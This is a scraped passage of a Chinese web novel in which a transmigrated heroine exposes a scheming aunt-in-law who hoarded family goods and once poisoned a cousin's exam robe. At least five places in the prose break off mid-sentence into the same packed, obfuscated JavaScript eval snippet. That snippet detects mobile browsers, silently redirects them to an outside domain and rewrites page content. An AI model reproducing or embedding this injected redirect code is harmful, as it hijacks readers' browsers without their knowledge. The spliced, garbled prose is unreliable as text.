她连忙上前扶起霍婉瑛,轻轻拍了拍身上的尘土,说道:“快,走两步试试疼不疼,没磕坏尾巴根儿吧?” 谁家女子能当众尾巴根、尾巴根地说,霍婉瑛羞红了脸,忙道:“七、七嫂,我没事,谢谢。” “没事就好。”尹微月转头看向地上撒赖坐着的陈氏,火气蹭蹭往外冒。 “我就打你了,你能怎地?因着你先头对老太太说的那些混账话,不仅我能打你,就是这青瓜蛋子打你也打的着!”尹微月睨着陈氏,随意朝后头一指。 被指到的小霍东一窒,又害怕地咽了口唾沫。 只见尹微月左手叉腰,另一只手伸出去左比划一下,右比划一下,自觉姿势不错,有泼妇那味了,清了清嗓子这才开口继续说。 “谋反一案,圣上到如今也还未最终发判,三婶您倒一进门就喊着要砍大房人的脑袋。公公虽然被夺爵,大哥二哥也跟着入了狱,但那是碍着朝廷佞臣的奏表不得不办。 谋反篡位这种大事,向来一发作便即刻诛九族,如今只圈禁霍家直系亲眷,连旁支宗亲都未牵连,就说明皇上也知道我们大房是被人诬陷的。 三婶不想法子托你那靠着我们侯府,才升为二品的刑部尚书爹爹帮着陈情翻案也就罢了,这会儿倒在这里威逼七十岁高龄的祖母,三婶又是何居心?” 陈氏被戳中要害,有些心虚。 两年来,她多次打点外面的侍卫,已经给娘家去了二十多封书信,但娘家一直不回信,直到前不久才等到回音。可那纸上只有一行字:“嫁出去的闺女泼出去的水,勿来纠缠!” 她心伤透了,夫家荣耀时,娘家借侯府的势力升官发财,如今侯府遭难,就忙着撇清关系,连亲生女儿都不顾。 可陈氏不愿意当着晚辈的面暴露她在娘家没地位的事实,于是恼羞成怒:“这是谋反大案,皇上命刑部、大理寺、都察院合力查办,我娘家父亲虽在其中,但也得秉公办理,岂能一人说了算? 再说府里的媳妇又不是只有我娘家当官,大嫂的父亲母亲虽然故去,但她的长兄冯岐山可是从三品的太仆寺卿,冯家不是照样不管不问吗?还有你们妯娌三个,一个父亲位列内阁,另外两个是大晟国数得上号的巨商富贾,你们倒是去求娘家啊!” 在场的贺氏和苏氏听完,不禁悲从中来。 她们何曾没有求过娘家,霍府刚被抄家软.禁时,她们就变卖财物打点外面侍卫给娘家人送信。 可包括婆母冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592621|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏在内,一封封信寄出去,却石沉大海杳无音讯,她们这才意识到,霍家牵扯的是谋反大罪,定是娘家不愿意受牵连,才不肯回信。 大房的银钱也就是那时候托侍卫送信,花去了一多半,最后却都打了水漂。 她们心里不怪,毕竟霍家人的命是命,娘家人的命也是命,这个时候与嫁出去的女儿断绝关系是最明智的选择。可到底是被至亲抛弃,两年后再提起,她们心里依旧不是滋味。 尹微月沉下眼,今儿陈氏提到了这茬,其他人不知,她却知道。四皇子在下定决心铲除霍家时,就已经计划下一盘大棋了。 首当其冲的就是霍家各房的亲家。 能在朝堂说得上话的冯家,能给霍家提供钱财助力的贺、苏两家,还有霍安疆在军队里能以命相护的五名将军、三名副将,都在霍家出事后没几天,早因为各种过错,全族下了大狱。 尹家秘密投靠了四皇子,自然不会有事,至于陈家为何没倒,是因为他们与霍家虽沾着儿女亲家这层关系,官场上却不是一条心,更不是一条利益链。 还有女主张语琳的娘家,不过一个六品微末京官,没有搅动乾坤之力,四皇子根本没放在眼里,也就没对其出手。 先说冯家。 在霍家出事前期,就有皇家马匹幼驹陆陆续续出现急惊风而死的现象,后来越死越多,以至于新一批的马种选无可选。 最后查出原来是母马喂了廉价生了毒菌的料草,胎毒内陷导致,一切证据都指向了太仆寺卿冯忌满。 再来说贺家与苏家,两家营造坊的匠人里混进了细作,贺家大管事被拿了把柄要挟,苏家大管事被重金收买。 如此这般,贺家生产的布匹花样儿,和苏家制作的钗样儿故意犯了皇家大讳。 与霍家交好的将军、副将也被用龌龊的手段陷害,霍家出事第二天,他们的“罪行”陆续被人揭开,最后罪证确凿,进大狱关了半年就流放去了。 霍府外面那些侍卫,自然不敢随意跟软禁者透露这些消息,如今尹微月也不愿将事实告诉她们,主要怕她们承受不住。毕竟有群无情的娘家人,总比知道娘家全族皆因霍家才被流放,至今不知生死要好的多。 要知道,有时候恨意可远比爱意,更能让人在绝境中撑下去。 陈氏看贺氏与苏氏满面哀容,心里痛快极了,“哼,想必你们娘家人早就跟你们划清界限了吧,怎么还有脸来说我?就算你们大房真是冤枉的,可我们其余三房被你们牵连,如今要一天饿三顿也是事实,你们这群扫把星!” 尹微月一听这话笑了。 三房如今是四房之中手头最富绰的,陈氏竟然还敢拿这点主动来说事,实在太蠢。 于是尹微月慢慢走上前,装腔作势打量了坐在地上的陈氏一番。 后者被看得莫名心虚。 ①“这俗话说得好:冰冻三尺非一日之寒,小腹三层非一日之馋。”随即尹微月蹲下身子,伸出食指隔着衣服戳了戳陈氏的大肚囊:“一天饿三顿?怪了,怎的没见您瘦啊?” 7. 第7章 夕阳的余晖与天边的云霞相交映,落在尹微月脸上,那双狡黠的黑瞳像是被淬炼的火眼金睛,看得对方无所遁形。 “我瞧着三婶油光满面,可见平日里吃的不错,哪像我们大房,各个都瘦成了竹竿子。再瞧三婶这行头,从妆容,到首饰,到衣裳,再到您脚下这翘头履,可看不出您现在是在软禁。 和我婆母一对比,您除了不能出府外,倒像翻身做了霍家的当家主母似的,再看看我们大房,就连祖母也只勉强有个银簪子绾发罢了。” 陈氏抬手朝指着她肚子的手就是一巴掌,很可惜尹微月迅速抽回手,她打了个寂寞。 于是只得强行狡辩:“那是你们大房奢靡惯了,不知道细水长流,老早把物件都当了,现在吃不饱饭这能赖谁?” 尹微月于她的狡辩只是冷哼一声。 “当年软禁查抄霍府时圣旨言明,念在霍家三代之功,给霍家老小留下生活用品,家不可尽抄。那时负责抄家的主官是与四皇子交好的御史台中丞朱光业,此人素来与我公爹是对头,所以查抄大房的时候极为严苛。 他除了按照圣旨留下些衣服、被褥、家具、锅碗瓢盆外,莫说院子、墙根、灶台下,就连那池塘子都下去搜了好几遍,就怕大房私藏钱财。这还得亏旁边跟着圣上的贴身近侍王公公,有他在,朱光业才不敢把大房赶尽杀绝,而是照着圣旨行事,否则大房早就饿死了。 可待抄你们三房时那可松了很多。朱光业与我公爹有私仇,王公公不好公然护着,怕为此又给大房带来祸事。但他知道大房与三房是嫡出,同脉相承,于是便明帮暗护。三房只有明面上的家财被抄,私底下藏的东西都保住了,就连衣服、家具都没罚没多少。 临走时王公公悄悄叮嘱三叔,之所以给三房留下这么多东西,完全因为圣上想保霍家,并让三叔待官差走后把东西给大房送去一半。” 原文楔子是这样写的:那朱光业虽然是四皇子的人,但也有自己的一套为官之道,自然不敢太驳王公公的面子,毕竟这太监的背后是皇帝。 老皇帝虽然实权被夺,但没实权的皇帝也是皇帝,想要杀个官员有的是法子,所以他卖了王公公一个面子,唯独对三房手下留情了。 其实朱光业也有自己的思量在里头,虽说大房与三房是嫡出,但在无尽头的圈禁中,人性是最经不起考验的。他仿佛已经预见霍家人为了这批财物,争得你死我活的场面,这可比直接饿死霍安疆的家眷有意思多了。 尹微月继续说道:“可你们三房呢?自己吃好的喝好的,只老太太每月能得你们十几块点心外,哪里管过大房其他人? 孝顺老太太本也是三房该尽的义务,其他庶出的两房,有自己亲生的母亲和祖母,大难临头对老太太没有真情实意也就罢了,但你们三房可是她的亲儿子亲孙子。这眼看软禁快两年了,连一碗干饭都没送过,你们对得起故去的老太爷吗?连我都替三房臊的慌!” 尹微月这一番话可谓激起了千层浪。 这两年,陈氏将此事瞒得严严实实,不许任何人往外透露一丝一毫,还经常装模作样拿被褥衣衫给外面的侍卫去典当换粮食,以此为掩饰。 老太太嫡次子,也就是三老爷霍安宗,他常年惧内,家中事管不了干脆就当甩手掌柜。两个小妾是二等丫头抬成的贱妾,若要活下去,就必须得对陈氏言听计从。而陈氏的三个女儿从小就跟她沆瀣一气,且早就被陈氏挑拨的处处不满大房,自然不会去说。 至于女主张语琳,她虽然心地善良,但并不是圣母白莲花。她嫁进门后因娘家官职低微,处处被婆母和三个大姑姐刁难,如今忙着自保都应接不暇,自然不会主动拆婆婆的台来拉仇恨。 而男主霍开极其孝顺陈氏,虽然谈不上是妈宝男,但很草机他老娘一哭二闹三上吊那套,为了耳根清净便随着母亲了。 但他发誓绝不会眼睁睁看大伯父一家饿死,打算以后大房真没粮了,再偷偷接济他们。免得此事闹开后府里吵吵闹闹,被侍卫发现私藏钱财,那可就鸡飞蛋打了。 就这样,陈氏成功瞒过了大房、二房和四房。 听到尹微月的话,贺氏、苏氏虽心里气愤,但身为侄媳妇也不好明面上得罪陈氏。可霍婉瑛实在忍不下了,虽然从小被教导要温婉谦恭,豁达大度,但人都是有脾气的。 以前她可以不计较,可现在已经圈禁快两年了,大房即使节衣缩食,一天只吃一顿饭,不知道还要被软禁多少年。眼下他们手里最值钱的就是祖母的拐杖,可也轻易不敢用掉,因为那是大房最后的活路了。 虽然他们都知道,霍家没诛九族而是只圈禁,说明皇帝信任霍家,但他们却不知道这圈禁何时能结束。不说家里大人各个饿得皮包骨头,几个孩子都要饿成豆芽菜了。 大哥霍远有四个孩子,最大的六岁,老二四岁,最小的是一对龙凤胎才一岁多,当年大哥刚下大狱,大嫂就发现自己怀孕一个月了。 圈禁日子难过,大嫂营养跟不上亏了身子,一对双胞胎八个多月就生了下来,得亏老天爷开眼才活了下来。双胎又难养活,如今只能吃母乳,可饭食不够大嫂又坚决不肯多吃,导致乳汁根本不够两个孩子喝的。 二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592622|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥霍坚成亲虽只比大哥晚了三个月,但他们夫妇子女缘分来的晚,目前只有一个三岁的儿子。 再加上九岁的弟弟霍东,他们大房一共有六个孩子要养。可三房没有孩子只有九个大人,如果真如尹氏所说,王公公特意为大房留下一半东西,那非得要回来才行,不然孩子们怎么办? 霍婉瑛面无表情冷声问道:“三婶,七嫂说的是不是真的?” 陈氏怪自己大意了,来这边竟然忘了把钗环首饰摘下来,若大房真要去拿东西,也只能咬死了说没有。 “胡说,三房正厅连桌椅都给收走了,哪还有别的家当,我身上的首饰是当时藏起来没被翻出的,可也只身上这些。本来揭不开锅要拿去当的,但我开儿孝顺,硬是把自己仅剩的被褥当了,每日宁肯睡床板,也非得给我留下这几样。再说了,你们头上不也都插着银簪子吗?跟我哭什么穷!” 说完,陈氏便又开始张牙舞爪地乱哭一气。 尹微月冷不丁插一句:“正厅是空了,那不是您怕招眼,将东西都藏进卧房里了么。除了两个小妾没有外,你房里、三叔房里、霍开夫妇房里,对,还有我那三个大姑姐的房里。若三婶一直犟着没有,不如叫上大家伙儿去看看便是。” “你!”陈氏被噎了一下,脸涨得通红,假哭就那样猝不及防僵在脸上。 “你们有什么资格去看,我被朝廷抄一次家,还要被你们大房再抄一次?造孽啊,霍家怎么出了你们几个小杂种!” 霍婉瑛一看陈氏这副样子,就知道尹微月说的是事实。 她不在乎尹氏是怎么发现端倪的,反而感谢她将这件事戳破。王公公授意三房给大房的东西,她必须去拿回来,他们一定要支撑到霍家沉冤昭雪那日,绝不能饿死哥哥们的孩子。 这边陈氏可不知道霍婉瑛的决心,她从地上爬起来,拿手帕擦了擦眼泪,心道就算跟大房撕破脸,钱财也不能给他们。 大房一堆老弱病残,眼前这个尹微月虽说娘家厉害,嘴上也厉害,但到底是个外嫁妇,不足为惧。 尹建章为她求了和离的圣旨,还每日来送三餐饭食,这宠溺已经好得顶天了,难不成还能为了她再大动干戈?不可能的,自己也有个二品的娘家爹,可不是照样屁用不管么? 陈氏因为自己没得到过父爱,所以就严重低估了尹建章对女儿的爱。 陈氏还沉浸在自以为是的思绪里,在她眼里,大房顶事的唯有个霍钧,但他也只能算小半拉男人,那柔弱模样,她的开儿一个小拇指就能把他身子戳破了。 所以,她还有什么好怕的? 8. 第8章 想到这些,陈氏心里的底气不禁又足了,眼珠轱辘一转,又说道:“霍府上下皆因为大房才被圈禁,我没找你们要财要物,你们反倒编个瞎话将屎盆子扣三房头上,还想抢我们的救命粮,其心可诛啊。 别的都可不提,可我真是替开儿不值,十四岁时就成了圣上钦点的状元及第,本来仕途一片大好,眼看就能平步青云,就这样被你们大房给毁了!” 尹微月一听这话,当即明白陈氏这是不想散财才故意岔开话题,企图拿霍开的前途道德绑架大房一家,好让大房不停愧疚,不停自责,使得他们没脸要那些钱物。 不过她这话还真有几分道理,书里男女主确实塑造的不错。 尹微月看书时,那是站在上帝的角度,男主帅气、文武双全还特别专一。女主美貌动人、睿智果决,不圣母不玛丽苏。前十章两人剧情没有大雷,人设也立得住,当年她还是cp粉呢。 只不过书里男女主角相对顺遂,就算绝境也能逢生。而大房就着实惨烈了些,前十章的内容里,大房这边死起人来跟下饺子似的,争先恐后往热锅里跳。 尹微月当年看书时情感就偏向大房,如今自己也成了大房的一份子,又是在吵架这种最控制不住理智的当口,她很自然就厌屋及乌了。 要怪也只能怪男主,摊上这样一个给自己招恨的娘。 “霍开十四岁能当上状元,那是亏得我家七郎没去考。七郎虽不谙武道,可却是皇城公认的大才子,他比霍开还小一岁呢。 当年七郎与霍开同时科考,连中解元、会元,你的宝贝开儿可是在他之后。三年前殿试开考前,朝廷送来统一面圣的儒生襕衫,按侯府规矩本应该由府上的女红房接领,再分发给府里要应试的哥儿。 可那天三婶一早派亲信宋嬷嬷在大门外等候,直接把儒衫全部领走,过了一天一夜才将七郎和二房霍邱的送回女红房。 我七郎试穿衣裳后,当晚便发热头疼,差点就死了。等三日后烧退了,可脸上身上又冒出密密麻麻可怖的红疹,怕冒犯圣颜,于是只能告病错过了机会。那几日大房乱成一片,没有人注意那件儒生澜衫被人偷偷拿走,在消失两天后,又被洗干净悄悄送回了七郎房里。” 尹微月的话惊了众人。 贺氏和苏氏知道小叔子那年生病错过恩科的事,当时以为是意外,纷纷为他可惜,万万没想到竟又与陈氏有关。 “三婶,你为了五哥的功名,竟狠心要杀我七哥?”霍婉瑛比两个嫂子直接多了,不是她太冲动,而是她太心疼霍钧,当年那场病,他命差点没了。 “四姐!”霍东胆子小,一听三婶要杀了七哥,吓得直往霍婉瑛背后躲。 在场反应最大却是陈氏,尹微月话一出口,她已经控制不住手抖了。当年这件事她自以为做得天衣无缝,就连霍安疆都没查出来,全家只当是意外。 那时尹氏还没进门,究竟是怎么知道的? 此刻陈氏恨不得抽自己一嘴巴子,本来想拿大房的短处威逼,让他们自责愧疚,主动放弃那一半财物,不知怎么几句话就又给自己挖了个大坑。 “胡说,我没害他,我开儿才华横溢学富五车,用得着算计他?那是霍钧自己命不好,怨不得别人!” 尹微月点点头,“是呀,他的确是命不好摊上你这么个三婶,竟狠心把他的衣袍泡在白皮子触手炼的毒液里。皇城不靠海,所以全家都不知道有这种害人的手段。而且此症状与好几种病灶相似,儒衫又早被洗干净了,那大夫就算是神医,也不可能拿得准。” “你冤枉我!当年宋嬷嬷是把三件儒衫一道领了没错,那是因为她心系主子,着急给开儿送去。没想到从开儿院子里出来后因事耽搁了,这才将其余两件迟了一天一夜送往女红房。再说霍邱那件儒衫宋嬷嬷也送迟了,怎么不见他有事?” “那真要恭喜霍邱没本事考进一甲,入不了您的法眼,这才逃过一劫。” 话说到此处,陈氏那脸色比尹微月前世在山坳里看到的彩虹还多变。不管她说什么,都被尹微月干干脆脆、条理清楚地怼回来,她处处吃瘪,气得就差原地爆炸。 但陈氏好歹也是快五十岁的人,理智很快就回来了,脸上慌张的神色渐渐褪去,接着慢条斯理拍了拍身上的土,“哼,小贱.人,我知道你为什么要冤枉我。” 她稳了稳心神,话锋一转冷冷回道:“不就是今天你勾.引我儿,他却不要你,于是你羞愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592623|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交加就想报复我们。你父亲虽贵为内阁大臣,你虽然是嫡女,可是我儿宁愿娶一个微末六品小京官的女儿,也不要你!” 尹微月笑笑没接话,陈氏想刺激她大发雷霆揭过投.毒这茬,只可惜她不是原身,于是又精准把矛头转回来。“三婶,我以为你会问,当时我并未嫁进霍家,你这等丧心病狂之事我是如何得知的。” “你、你你你……”如此直白的话如同一柄大锤猝不及防砸在陈氏脊背上,她指着尹微月,气得浑身打颤,“你”了好久也说不出别的话来。 尹微月继续说:“我听闻三婶生身姨娘母家就在沿海边上,海里白皮子随处可见,它触手有毒,沿海居民家家户户都知道。我还听闻海州那知县刘放按辈分得叫您声表姨,三年前殿试开考在即,皇帝并未召见地方官,他却来了上京。 本来那刘放与您是亲戚,来皇城后和您见面自是平常事,可不平常的是,他没来侯府下帖子拜谒,竟偷偷摸摸与您在绿林胡同碰面,这是为什么呢?” 尹微月说完又故作神秘轻轻一笑。 “那刘放虽然没来侯府,可他见您的第二日倒是去了我娘家府上拜见我父亲,他们还在书房谈了一个多时辰呢,这些三婶可知道?” 其实书里刘放并未去过尹府,尹微月为了更好解释自己为何知道下毒这件事,才故意诓陈氏的。反正地方官每三年就会到上京述职,刘放与原身父亲同朝为官,有交集一点不奇怪。 陈氏听罢,浑身一震,满眼的不可置信。 尹微月继续补刀,“那刘知县忒藏不住事,为那一斤白皮子液他惶惶不安,恨不能把‘我有罪’写在脸上。我父亲不过稍加询问,他便兜不住把一切和盘托出了,而我正好在书房外听得一清二楚。” “当时我心慕霍开,自是愿意看他金榜题名,所以就拦着父亲没有将此事上告朝廷。如今你却拿他十四岁中状元这事反复来戳我们大房的心窝子,我倒要问问,我家七郎十三岁的状元被你们三房弄没了,还差点送了命,这你要怎么赔?” “孽障!” 尹微月刚说完,就听到“砰砰砰”拐棍急促敲地的声音,一抬眼是大夫人冯氏搀着老太太,正站在院外的月洞门处。 9. 第9章 “陈氏,你的良心呢?竟然为了名利杀害自己的侄儿!”老太太厉声训斥。 唉~ 尹微月暗自叹口气,她都拉着陈氏出院子了,没想到老太太还是听到了,这院墙隔音效果也太差了点。 她仔细打量老人的神情和举止,可能因为不是像书里那样面对面和陈氏吵架,距离减少了火气值,万幸没有出现书中说的中风迹象。 尹微月这才放下心来。 可在一旁的冯氏状态就不那么好了,一向平和待人的她,此刻双眼发红怒瞪着陈氏,那模样恨不能把对方生吞活剥。 冯氏嫁入霍家这么多年,作为侯府的当家主母她一直克己复礼,认真打理府中内务,事必躬亲。虽然陈氏向来是个不安分的,可她看在公婆和夫君的面子上,总是多番忍耐,不成想陈氏竟然丧心病狂害她的儿子。 “冤孽啊,冤孽……”老太太激动地杵着拐杖走到陈氏面前,“畜生,跪下。” “母亲,我……”陈氏何曾被这样对待过,周围全是小辈,她又最好面子,咬着唇就是不肯跪。 “跪下!”老太太拿拐杖朝陈氏的腿捋了一棍子,后者尖叫着倒地,“母亲,我冤枉啊!” 老太太仰天深吸一口气,再睁开眼是无尽的疲惫与难过。 “当年你用那种见不得人的手段接近安宗,丢尽了脸面,可我也知道一个巴掌拍不响。安宗不顾家族荣辱铁了心要娶你,我不愿棒打鸳鸯,便体体面面将你娶进门,只盼着你日后能收敛性子,好好相夫教子。 可你呢?进门后就时常挑事,搞得全家鸡犬不宁,我知道你是因为出身低微没有底气,才这般上蹿下跳。我和你大嫂也就不跟你计较许多,可不曾想多年的纵容养出一匹饿狼来,你竟然为了功名谋害我霍家子孙。虽然如今的霍家已是风雨飘摇,可今日我要是不严惩你,怎么对得起列祖列宗,怎么对得起老侯爷。” 陈氏哭着大喊:“母亲,我没做,是尹氏诬陷我,她诬陷我!” “诬陷?老七媳妇将此事前前后后说的严丝合缝,事到如今你还不肯承认,那就当她诬陷你好了。”老太太眼里的失望被冰冷代替,“思暖,接拐杖,给我狠狠地打,打到她知错为止!” 老太太将拐杖递给冯氏,霍婉瑛看祖母没了支撑赶忙上前搀扶。 “是,母亲!”冯氏眼里含泪,双手气到发颤,那晚大夫都让他们准备棺材了,她的钧儿差点就没命了。 冯氏接过拐杖,毫不犹豫朝着陈氏后背打下去。 “啊,哎呦疼!”陈氏结结实实挨了一棍子,她没想到冯氏真敢当着这么多人的面打她。 “你敢打我?”陈氏瞬间炸毛,像母夜叉一样跳起来,三两下就把冯氏按倒,朝着她胸口重重打了好几拳,然后扯过拐杖就扔了出去。 “母亲!”霍婉瑛外加两个儿媳妇见状赶忙冲上前,胆小的霍东在一旁吓得直哭。 几人好不容易拉开陈氏,这才免了冯氏继续挨揍。 这糟心的场面惊呆了尹微月,颇有恨铁不成钢的感觉,原来她那脆皮相公的柔弱,是遗传的他妈呀。 可怜冯氏倒想给儿子报仇,奈何战斗值是负数。她是文官之女,虽然嫁给武将这么多年也受了些熏陶,但是撒泼打人还是短板。 这边陈氏倒先疯了般大喊:“母亲偏心,你们全都瞧不起我是个庶女,我不服!”激动处她坐在地上,抬手一一指着在场的人辱骂,宽大的衣袖跟着手臂剧烈晃荡。 “你疯了,疯了。”老太太没想到霍府一倒,陈氏现在连她这婆婆也不放在眼里了。 “没错,我是疯了!母亲您何必说这些冠冕堂皇的话,什么您和大嫂不与我计较,那是你们婆媳两个尽会装模作样,好让下人们都看我的笑话。大哥至今没有妾室,可你却因我一连生了三个闺女为借口,暗地里给老爷上眼药,否则他怎么会对我越来越冷淡,而我又何苦忍着痛给他纳了两房妾室? 我开儿同霍钧一样都是你的嫡亲孙子,可你却如此偏心,给霍钧寻了内阁大臣的嫡女。可我开儿却被你当作还救命恩情的物件,他还在我肚子里时,就被迫娶一个六品芝麻官的女儿。如今凭尹氏这小贱.人一句话,您就认定是我谋害老七性命,您厚此薄彼,您对我不公!” “你!”老太太嘴唇抖个不停,气得好长时间才说了句,“不知好歹的东西,满嘴胡说八道!” “母亲,休要再顶撞祖母!”这时,急匆匆跑过来三个人,正是霍钧和男女主。 害,这仨人总算来了,没想到书里的一炷香过得这么慢,她都有点怀疑是不是作者故意这样写,为的就是让老太太中风好推动后面剧情。 “开儿,你可来了,那尹氏被你拒绝后,为了报复竟然说我下毒害老七不能殿试,他们大房全都在挑唆你祖母,他们要杀了我。呜呜……”陈氏跪爬着扑.向霍开,救命似的紧紧抓住他的双腿。 霍开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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今日看了张语琳本尊,尹微月禁不住想原身自信到底哪来的。她怎么能认定霍开会放弃身边这么一个人美心善的女子,来选她这个样貌平平还恶毒的女子的? 一旁的霍钧看尹微月先瞥了眼霍开,又不错眼盯着张语琳,只当她又是在吃醋憋坏招,转过头懒得管。不过这女人今日说出当年陈氏下毒之事,倒是正中他下怀。 当年他突染急症不能参加殿试,身体好了之后就怀疑是陈氏所为,只是苦于查不到证据。而且他和霍开感情不错,既然自己挺过来了,不愿他为难,就没将此事告知父母长辈。 可是自从侯府获罪之后,陈氏动不动就将“霍开十四岁的状元郎被大房埋没”挂在嘴边,每每令母亲自责愧疚,心神不安,夜夜垂泪。 没想到这次倒被尹微月捅破了,而且还说得有理有据,直指陈氏要害,看来他这绿色.帽子没白戴。 挺好,回本了。 10. 第10章 就在尹微月和霍钧来回寻思间,霍开拉着陈氏跪在老太太面前,张语琳一看这场面,也只好随他们母子默默跪下。 霍开重重磕了三个头后说道:“祖母,母亲冲撞您老人家实属不孝,开儿愿和母亲一起受罚,请祖母责罚。只不过母亲虽然生性泼辣,为人也尖酸刻薄了些,但说她谋害七弟性命,我是万万不能信的,还请祖母明查。” 尹微月撇撇嘴。 霍开这番话听起来义正辞严、逻辑鲜明、张弛有度,完全没有问题。可是内涵对象却是尹微月,所以这话她听起来就没那么顺耳了。 没等老太太开口,她率先走到霍开身边,露出很多小说里形容的那种“死亡凝视”。 “霍开呀霍开,当初馋你身子才没让我爹到皇上那里告发你,没想到今日你却恩将仇报。就算你不信我的话,好歹也质问你娘做没做再内涵我诬陷她。” 此话一出,在场众人皆倒吸一口气。 “馋你身子”这句话对于现在这个封建社会来说,不良影响堪比地震,就算是出身青楼的贱籍女子也不会当众说这种浑话的。 此刻,众人完全猜不到尹微月的道德底线在哪里。 霍开冷睨着她,对这个水性杨花的女人厌恶至极:“尹氏,我从未招惹你,我们之间的恩怨你为何要牵连我母亲,还要挑拨我和七弟的感情?” 就说这男主还怪会总结的,可现在讨伐的是他妈的罪行,他却直接把话题扯到她身上,这楼歪得有点大。 尹微月自是不给霍开机会。 她回瞪他,“你是不是觉得,因为今天下午你拒绝了我,所以我因爱生恨胡诌些事情来报复你们三房?” 霍开跪在地上,带着自小养成的贵气姿态,昂起头,“难道不是?” 尹微月没回答是或不是,只是似笑非笑盯着他。 “我本想给三房和你这个十四岁的状元留点脸,是你自己不要可怨不得我。听好了,成宣四十七年二月初九巳初二刻,三婶带着宋嬷嬷去了绿林巷的一个茶馆,那日外省知县刘放也在。他俩偷偷摸摸会面,半炷香后离开,离开时宋嬷嬷手里多了一个陶罐子,里面装了一斤重的白皮子毒液。” “成宣四十七年三月初三辰正一刻,官府派人送来三件绣了姓名的殿试儒衫,被宋嬷嬷一并领了去。她先送了你的,然后把另外两件拿回了下人房,当天晚上偷偷摸摸把我七郎的衣衫浸泡在那陶罐里,全部浸湿后再拿出来晾干。” “成宣四十七年三月初四辰正一刻,宋嬷嬷才把两件衣服送去女红房,由于白皮子毒液十分歹毒,怕误伤了别人导致计划失败,她把两件衣服分别用包袱包起来。包袱上面绣了名字,下人给七郎送去试穿后,当夜就出事了。” “当天晚上,大房上下全都乱了,宋嬷嬷趁此机会将儒衫拿回来,带着狐狸皮的手套反复清洗,两天后,又神不知鬼不觉将儒衫送了回去。” 时间,地点,人物,情节全都对上,陈氏心虚跪不稳,被霍开扶住。 “陈凤娥,你好歹毒的心思!”冯氏听到这里再也控制不住情绪,“我处处容忍你,对三房的侄子侄女我半分没有亏欠,你为何要害我儿子?” “母亲,你为什么要这么做?”霍开没想到尹微月能如此清晰说出下毒全过程,他不可置信看向陈氏。 陈氏罪行被当众公开,心虚地低头不敢跟儿子对视,等于默认。 这番话有理有据,霍开无力替母辩解。 “祖母,孙儿实在羞愧,一切由我而起,我愿意代母亲受罚。”尤其尹微月那句“馋你身子才没告发”让他自尊坠地,原来他这状元是出卖色相赚来的。 “老五,有些罚可以替,可有些罚替不了。”老太太指指被扔掉的拐杖,一直跪着的张语琳不愧是女主,她终于找到了起身的借口。她连忙很有眼力劲儿地拾起来,双手递给老太太,然后默默站到一边。 老太太满意朝她点点头,又转头看向霍开。 “老五,我知道你素来正直,谋害兄弟夺取功名这种事定与你无关。可你母亲差点害了老七一条命,如今霍家虽然倒了,可是非对错不能不论,你母亲也不能不罚。当然,如今你大伯父和两个哥哥都下狱了,我也老了无用了,若连你也不认我这个祖母,执意带你母亲走,我定拦不住。” 霍开重重磕了一个响头:“祖母待孙儿这样好,孙儿怎么可能不认祖母,是孙儿错了,求祖母惩罚,只是还请祖母轻恕母亲,孙儿愿一力承担!” “啪嗒!” 这是尹微月心里男主滤镜碎裂的声音。 站在主角团角度,霍开替母受罚,彰显了他孝顺、负责任、有担当的好品质。可站在他的对立面,这就是妥妥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592625|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的茶言茶语啊。 男主是一杯冒热气的绿茶,尹微月鉴定完毕。 以前看书时,读者大概率都会站在主角角度看问题,但有时换个角度思考一下,有些配角反派之所以会变坏,完全是被逼的。 这大概就是前世大姐常挂在嘴边的口头禅:世上没有天生的好人或者坏人,只不过是时事造就命运,时势造就人心罢了。 但不好意思,现在尹微月是未来大反派的炮灰老婆,她不能对不起这个角色,于是选了个恰到好处的时机开口。 